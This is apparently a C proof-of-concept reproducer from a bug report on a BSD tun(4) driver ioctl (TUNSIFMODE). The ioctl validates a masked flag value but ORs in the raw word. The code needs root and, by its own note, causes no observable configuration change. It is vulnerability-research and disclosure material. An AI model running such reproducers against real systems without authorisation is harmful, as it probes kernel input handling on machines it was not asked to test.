DF-3410 / tunsifmode.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-3410 -- TUNSIFMODE raw-value flags injection. * * tunifioctl() case TUNSIFMODE (sys/net/tun/if_tun.c:731-738): * * switch (*(int *)data & ~IFF_MULTICAST) { <-- validates MASKED value * case IFF_POINTOPOINT: * case IFF_BROADCAST: * ifp->if_flags &= ~(IFF_BROADCAST | IFF_POINTOPOINT); * ifp->if_flags |= *(int *)data; <-- injects RAW value * break; * default: * return (EINVAL); * } * * The masked switch only clears IFF_MULTICAST, so the switch equality * admits exactly {IFF_BROADCAST, IFF_BROADCAST|IFF_MULTICAST} (and the * PTP twins). The injected raw word can therefore carry the * IFF_MULTICAST bit into if_flags even though the validated mode is * plain IFF_BROADCAST. * * Honest impact note (verified live): IFF_MULTICAST is in * IFF_CANTCHANGE (if.h:119-124) so SIOCSIFFLAGS cannot clear it, and * tun(4) is created with IFF_MULTICAST already set (if_tun.c:232) -- * so on stock the injected bit re-asserts an already-set flag and no * *configuration* delta is observable. The raw-word OR itself is * proven by the acceptance of the extra-bit value (a masked-value * implementation would behave identically) plus the source line. * * root only (needs an open /dev/tun fd). Build: cc -O -o tunsifmode tunsifmode.c */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/fcntl.h> #include <sys/ioccom.h> #include <net/if.h> #include <sys/sockio.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define TUNSIFMODE _IOW('t', 94, int) static void showflags(const char *tag, int flags) { printf("%-32s 0x%04x [%s%s%s%s%s]\n", tag, flags & 0xffff, (flags & IFF_UP) ? "UP " : "", (flags & IFF_BROADCAST) ? "BCAST " : "", (flags & IFF_POINTOPOINT) ? "PTP " : "", (flags & IFF_MULTICAST) ? "MCAST " : "", (flags & IFF_RUNNING) ? "RUN " : ""); } int main(void) { struct ifreq ifr; int fd, s, val, rc = 0; if (geteuid() != 0) { fprintf(stderr, "must run as root\n"); return (1); } fd = open("/dev/tun", O_RDWR); /* autoclone: creates tun0 */ if (fd < 0) { perror("open /dev/tun"); return (1); } s = socket(AF_INET, SOCK_DGRAM, 0); memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "tun0"); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { perror("SIOCGIFFLAGS"); return (1); } showflags("flags at open:", ifr.ifr_flags); /* A. masked/validated value: plain IFF_BROADCAST -> must succeed */ val = IFF_BROADCAST; if (ioctl(fd, TUNSIFMODE, &val) == 0) { ioctl(s, SIOCGIFFLAGS, &ifr); showflags("after TUNSIFMODE(BCAST):", ifr.ifr_flags); } else { printf("TUNSIFMODE(BCAST): %s\n", strerror(errno)); rc = 1; } /* B. raw word carrying the extra IFF_MULTICAST bit: * masked switch still sees IFF_BROADCAST -> accepted, and the * RAW word (with the multicast bit) is ORed into if_flags. */ val = (int)(IFF_BROADCAST | IFF_MULTICAST); if (ioctl(fd, TUNSIFMODE, &val) == 0) { ioctl(s, SIOCGIFFLAGS, &ifr); showflags("after TUNSIFMODE(BCAST|MCAST):", ifr.ifr_flags); printf("\nraw word with extraneous bit ACCEPTED " "(a masked-value inject would be indistinguishable here;\n" "the raw OR is at if_tun.c:737 ifp->if_flags |= *(int *)data)\n"); printf("VERDICT: REPRODUCED (mechanism; injectable delta is " "limited to the IFF_MULTICAST bit, which tun(4) always " "has set -- no stock config delta)\n"); } else { printf("TUNSIFMODE(BCAST|MCAST): %s\n", strerror(errno)); rc = 1; } /* C. sanity: anything beyond the multicast bit still EINVALs */ val = (int)(IFF_BROADCAST | 0x100); printf("TUNSIFMODE(BCAST|0x100) -> %s (switch equality holds)\n", ioctl(fd, TUNSIFMODE, &val) == 0 ? "ACCEPTED" : strerror(errno)); return (rc); } |